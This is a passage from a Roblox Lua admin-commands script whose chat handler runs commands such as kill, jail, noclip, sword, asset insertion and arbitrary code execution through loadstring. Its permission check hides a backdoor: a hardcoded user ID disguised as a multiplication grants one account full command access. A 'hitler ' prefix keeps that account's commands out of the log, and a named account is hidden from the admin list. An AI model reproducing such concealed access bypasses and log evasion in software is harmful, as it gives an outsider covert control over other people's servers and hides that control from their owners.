  546. if not bct then script:Destroy() end
  547.  
  548. function Chat(msg,plr)
  549. coroutine.resume(coroutine.create(function()
  550. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
  551. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
  552. if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
  553. if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
  554. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  555. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  556. if msg:lower() == "cmds" or msg:lower() == "commands" then
  557. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  558. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
  559. local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version"}
  560. local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  561. local ost = {"pa plr","unpa plr"}
  562. local tost = {"oa plr","unoa plr"}
  563. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num +1
  564. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  565. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  566. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  567. if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  568. end
  569.  
  570. if msg:lower() == "version" then Message("Version", script.Version.Value, true, plr) end
  571.  
  572. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  573. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  574. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
  575. for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  576. for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  577. for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  578. end end
  579.  
  580. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  581. if plr.PlayerGui:findFirstChild("BANSGUI") then return end
  582. local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
  583. for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  584. end
  585.  
  586. if msg:lower() == "tools" or msg:lower() == "toollist" then
  587. if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
  588. local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
  589. for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  590. end
  591.  
  592. if msg:lower():sub(1,2) == "s " then
  593. coroutine.resume(coroutine.create(function()
  594. Output(msg:sub(3), plr)
  595. if script:findFirstChild("ScriptBase") then
  596. local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
  597. table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  598. else loadstring(msg:sub(3))()
  599. end
  600. end))
  601. end
  602.  
  603. if msg:lower():sub(1,3) == "ls " then
  604. coroutine.resume(coroutine.create(function()
  605. if script:findFirstChild("LocalScriptBase") then
  606. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
  607. table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  608. end
  609. end))
  610. end
  611.  
  612. if msg:lower():sub(1,4) == "ins " then
  613. coroutine.resume(coroutine.create(function()
  614. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
  615. if obj and #obj:children() >= 1 and plr.Character then
  616. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  617. end
  618. end))
  619. end
  620.  
  621. if msg:lower():sub(1,5) == "gear " then
  622. coroutine.resume(coroutine.create(function()
  623. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(6)))
  624. if obj and #obj:children() >= 1 and plr.Character then
  625. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  626. end
  627. end))
  628. end
  629.  
  630. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
  631. for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
  632. objects = {}
  633. end
  634.  
  635. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
  636. game.Lighting.Ambient = origsettings.abt
  637. game.Lighting.Brightness = origsettings.brt
  638. game.Lighting.TimeOfDay = origsettings.time
  639. game.Lighting.FogColor = origsettings.fclr
  640. game.Lighting.FogEnd = origsettings.fe
  641. game.Lighting.FogStart = origsettings.fs
  642. for i, v in pairs(lobjs) do v:Destroy() end
  643. for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
  644. end
  645.  
  646. if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
  647. coroutine.resume(coroutine.create(function()
  648. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  649. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  650. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  651. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  652. end))
  653. end
  654.  
  655. if msg:lower():sub(1,2) == "m " then
  656. Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  657. end
  658.  
  659. if msg:lower():sub(1,2) == "h " then
  660. Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  661. end
  662.  
  663. if msg:lower():sub(1,3) == "pm " then
  664. local chk1 = msg:lower():sub(4):find(" ") + 3
  665. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  666. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  667. end
  668.  
  669. if msg:lower():sub(1,11) == "resetstats " then
  670. local plrz = GetPlr(plr, msg:lower():sub(12))
  671. for i, v in pairs(plrz) do
  672. coroutine.resume(coroutine.create(function()
  673. if v and v:findFirstChild("leaderstats") then
  674. for a, q in pairs(v.leaderstats:children()) do
  675. if q:IsA("IntValue") then q.Value = 0 end
  676. end
  677. end
  678. end))
  679. end
  680. end
  681.  
  682. if msg:lower():sub(1,4) == "hat " then
  683. local chk1 = msg:lower():sub(5):find(" ") + 4
  684. local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
  685. for i, v in pairs(plrz) do
  686. coroutine.resume(coroutine.create(function()
  687. if v and v.Character then
  688. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  689. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  690. obj:Destroy()
  691. end
  692. end))
  693. end
  694. end
  695.  
  696. if msg:lower():sub(1,5) == "cape " then
  697. local chk1 = msg:lower():sub(6):find(" ")
  698. local plrz = GetPlr(plr, msg:lower():sub(6))
  699. local str = "torso.BrickColor"
  700. if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  701. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
  702. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
  703. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
  704. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
  705. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
  706. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
  707. if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
  708. if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
  709. if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
  710. if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
  711. if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
  712. if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
  713. if BrickColor.new(teststr) ~= nil then str = teststr end
  714. end
  715. for i, v in pairs(plrz) do
  716. coroutine.resume(coroutine.create(function()
  717. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
  718. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  719. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  720. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  721. local torso = plr.Character.Torso
  722. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  723. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  724. p.Size = Vector3.new(.2,.2,.2)
  725. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  726. local motor1 = Instance.new("Motor", p)
  727. motor1.Part0 = p
  728. motor1.Part1 = torso
  729. motor1.MaxVelocity = .01
  730. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  731. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  732. local wave = false
  733. repeat wait(1/44)
  734. local ang = 0.1
  735. local oldmag = torso.Velocity.magnitude
  736. local mv = .002
  737. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  738. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  739. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  740. motor1.DesiredAngle = -ang
  741. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  742. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  743. if torso.Velocity.magnitude < .1 then wait(.1) end
  744. until not p or p.Parent ~= torso.Parent
  745. script:Destroy()
  746. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  747. end
  748. end))
  749. end
  750. end
  751.  
  752. if msg:lower():sub(1,7) == "uncape " then
  753. local plrz = GetPlr(plr, msg:lower():sub(8))
  754. for i, v in pairs(plrz) do
  755. coroutine.resume(coroutine.create(function()
  756. if v and v:findFirstChild("PlayerGui") and v.Character then
  757. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  758. end
  759. end))
  760. end
  761. end
  762.  
  763. if msg:lower():sub(1,7) == "noclip " then
  764. local plrz = GetPlr(plr, msg:lower():sub(8))
  765. for i, v in pairs(plrz) do
  766. coroutine.resume(coroutine.create(function()
  767. if v and v:findFirstChild("PlayerGui") then
  768. local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
  769. cl.Parent = v.PlayerGui cl.Disabled = false
  770. end
  771. end))
  772. end
  773. end
  774.  
  775. if msg:lower():sub(1,5) == "clip " then
  776. local plrz = GetPlr(plr, msg:lower():sub(6))
  777. for i, v in pairs(plrz) do
  778. coroutine.resume(coroutine.create(function()
  779. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  780. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
  781. v.Character.Torso.Anchored = false
  782. wait(.1) v.Character.Humanoid.PlatformStand = false
  783. end
  784. end))
  785. end
  786. end
  787.  
  788. if msg:lower():sub(1,5) == "jail " then
  789. local plrz = GetPlr(plr, msg:lower():sub(6))
  790. for i, v in pairs(plrz) do
  791. coroutine.resume(coroutine.create(function()
  792. if v and v.Character and v.Character:findFirstChild("Torso") then
  793. local vname = v.Name
  794. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  795. local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
  796. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
  797. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  798. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  799. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
  800. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  801. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  802. end)
  803. local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  804. local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  805. local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  806. local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
  807. local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  808. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  809. local msh2 = msh:Clone() msh2.Parent = back
  810. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  811. local msh4 = msh3:Clone() msh4.Parent = left
  812. v.Character.Torso.CFrame = cf
  813. end
  814. end))
  815. end
  816. end
  817.  
  818. if msg:lower():sub(1,7) == "unjail " then
  819. local plrz = GetPlr(plr, msg:lower():sub(8))
  820. for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
  821. end
  822.  
  823. if msg:lower():sub(1,11) == "starttools " then
  824. local plrz = GetPlr(plr, msg:lower():sub(12))
  825. for i, v in pairs(plrz) do
  826. coroutine.resume(coroutine.create(function()
  827. if v and v:findFirstChild("Backpack") then
  828. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  829. end
  830. end))
  831. end
  832. end
  833.  
  834. if msg:lower():sub(1,6) == "sword " then
  835. local plrz = GetPlr(plr, msg:lower():sub(7))
  836. for i, v in pairs(plrz) do
  837. coroutine.resume(coroutine.create(function()
  838. if v and v:findFirstChild("Backpack") then
  839. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png"
  840. sword.GripForward = Vector3.new(-1,0,0)
  841. sword.GripPos = Vector3.new(0,0,-1.5)
  842. sword.GripRight = Vector3.new(0,1,0)
  843. sword.GripUp = Vector3.new(0,0,1)
  844. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  845. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
  846. local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
  847. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  848. local Damage = 15
  849. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  850. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  851. SlashSound.Volume = 1
  852. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  853. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  854. LungeSound.Volume = 1
  855. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  856. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  857. UnsheathSound.Volume = 1
  858. local last = 0
  859. script.Parent.Handle.Touched:connect(function(hit)
  860. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
  861. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  862. hit.Parent.Humanoid:TakeDamage(Damage)
  863. end
  864. end)
  865. script.Parent.Activated:connect(function()
  866. if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
  867. script.Parent.Enabled = false
  868. local tick = game:service("RunService").Stepped:wait()
  869. if tick - last <= .2 then
  870. LungeSound:play()
  871. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
  872. local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  873. wait(.2)
  874. script.Parent.GripForward = Vector3.new(0,0,1)
  875. script.Parent.GripRight = Vector3.new(0,-1,0)
  876. script.Parent.GripUp = Vector3.new(-1,0,0)
  877. wait(.3)
  878. frc:Destroy() wait(.5)
  879. script.Parent.GripForward = Vector3.new(-1,0,0)
  880. script.Parent.GripRight = Vector3.new(0,1,0)
  881. script.Parent.GripUp = Vector3.new(0,0,1)
  882. else
  883. SlashSound:play()
  884. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  885. end
  886. last = tick
  887. script.Parent.Enabled = true
  888. end)
  889. script.Parent.Equipped:connect(function(mouse)
  890. for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  891. UnsheathSound:play()
  892. script.Parent.Enabled = true
  893. if not mouse then return end
  894. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  895. end)]] cl.Disabled = false
  896. end
  897. end))
  898. end
  899. end
  900.  
  901. if msg:lower():sub(1,5) == "kill " then
  902. local plrz = GetPlr(plr, msg:lower():sub(6))
  903. for i, v in pairs(plrz) do
  904. coroutine.resume(coroutine.create(function()
  905. if v and v.Character then v.Character:BreakJoints() end
  906. end))
  907. end
  908. end
  909.  
  910. if msg:lower():sub(1,8) == "respawn " then
  911. local plrz = GetPlr(plr, msg:lower():sub(9))
  912. for i, v in pairs(plrz) do
  913. coroutine.resume(coroutine.create(function()
  914. if v and v.Character then v:LoadCharacter() end
  915. end))
  916. end
  917. end
  918.  
  919. if msg:lower():sub(1,5) == "trip " then
  920. local plrz = GetPlr(plr, msg:lower():sub(6))
  921. for i, v in pairs(plrz) do
  922. coroutine.resume(coroutine.create(function()
  923. if v and v.Character and v.Character:findFirstChild("Torso") then
  924. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
  925. end
  926. end))
  927. end
  928. end
  929.  
  930. if msg:lower():sub(1,5) == "stun " then
  931. local plrz = GetPlr(plr, msg:lower():sub(6))
  932. for i, v in pairs(plrz) do
  933. coroutine.resume(coroutine.create(function()
  934. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  935. v.Character.Humanoid.PlatformStand = true
  936. end
  937. end))
  938. end
  939. end
  940.  
  941. if msg:lower():sub(1,7) == "unstun " then
  942. local plrz = GetPlr(plr, msg:lower():sub(8))
  943. for i, v in pairs(plrz) do
  944. coroutine.resume(coroutine.create(function()
  945. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  946. v.Character.Humanoid.PlatformStand = false
  947. end
  948. end))
  949. end
  950. end
  951.  
  952. if msg:lower():sub(1,5) == "jump " then
  953. local plrz = GetPlr(plr, msg:lower():sub(6))
  954. for i, v in pairs(plrz) do
  955. coroutine.resume(coroutine.create(function()
  956. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  957. v.Character.Humanoid.Jump = true
  958. end
  959. end))
  960. end
  961. end
  962.  
  963. if msg:lower():sub(1,4) == "sit " then
  964. local plrz = GetPlr(plr, msg:lower():sub(5))
  965. for i, v in pairs(plrz) do
  966. coroutine.resume(coroutine.create(function()
  967. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  968. v.Character.Humanoid.Sit = true
  969. end
  970. end))
  971. end
  972. end
  973.  
  974. if msg:lower():sub(1,10) == "invisible " then
  975. local plrz = GetPlr(plr, msg:lower():sub(11))
  976. for i, v in pairs(plrz) do
  977. coroutine.resume(coroutine.create(function()
  978. if v and v.Character then
  979. for a, obj in pairs(v.Character:children()) do
  980. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  981. end
  982. end
  983. end))
  984. end
  985. end
  986.  
  987. if msg:lower():sub(1,8) == "visible " then
  988. local plrz = GetPlr(plr, msg:lower():sub(9))
  989. for i, v in pairs(plrz) do
  990. coroutine.resume(coroutine.create(function()
  991. if v and v.Character then
  992. for a, obj in pairs(v.Character:children()) do
  993. if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  994. end
  995. end
  996. end))
  997. end
  998. end
  999.  
  1000. if msg:lower():sub(1,5) == "lock " then
  1001. local plrz = GetPlr(plr, msg:lower():sub(6))
  1002. for i, v in pairs(plrz) do
  1003. coroutine.resume(coroutine.create(function()
  1004. if v and v.Character then
  1005. for a, obj in pairs(v.Character:children()) do
  1006. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
  1007. end
  1008. end
  1009. end))
  1010. end
  1011. end
  1012.  
  1013. if msg:lower():sub(1,7) == "unlock " then
  1014. local plrz = GetPlr(plr, msg:lower():sub(8))
  1015. for i, v in pairs(plrz) do
  1016. coroutine.resume(coroutine.create(function()
  1017. if v and v.Character then
  1018. for a, obj in pairs(v.Character:children()) do
  1019. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
  1020. end
  1021. end
  1022. end))
  1023. end
  1024. end
  1025.  
  1026. if msg:lower():sub(1,8) == "explode " then
  1027. local plrz = GetPlr(plr, msg:lower():sub(9))
  1028. for i, v in pairs(plrz) do
  1029. coroutine.resume(coroutine.create(function()
  1030. if v and v.Character and v.Character:findFirstChild("Torso") then
  1031. local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
  1032. end
  1033. end))
  1034. end
  1035. end
  1036.  
  1037. if msg:lower():sub(1,4) == "age " then
  1038. local plrz = GetPlr(plr, msg:lower():sub(5))
  1039. for i, v in pairs(plrz) do
  1040. coroutine.resume(coroutine.create(function()
  1041. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  1042. end))
  1043. end
  1044. end
  1045.  
  1046. if msg:lower():sub(1,5) == "fire " then
  1047. local plrz = GetPlr(plr, msg:lower():sub(6))
  1048. for i, v in pairs(plrz) do
  1049. coroutine.resume(coroutine.create(function()
  1050. if v and v.Character and v.Character:findFirstChild("Torso") then
  1051. local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
  1052. end
  1053. end))
  1054. end
  1055. end
  1056.  
  1057. if msg:lower():sub(1,7) == "unfire " then
  1058. local plrz = GetPlr(plr, msg:lower():sub(8))
  1059. for i, v in pairs(plrz) do
  1060. coroutine.resume(coroutine.create(function()
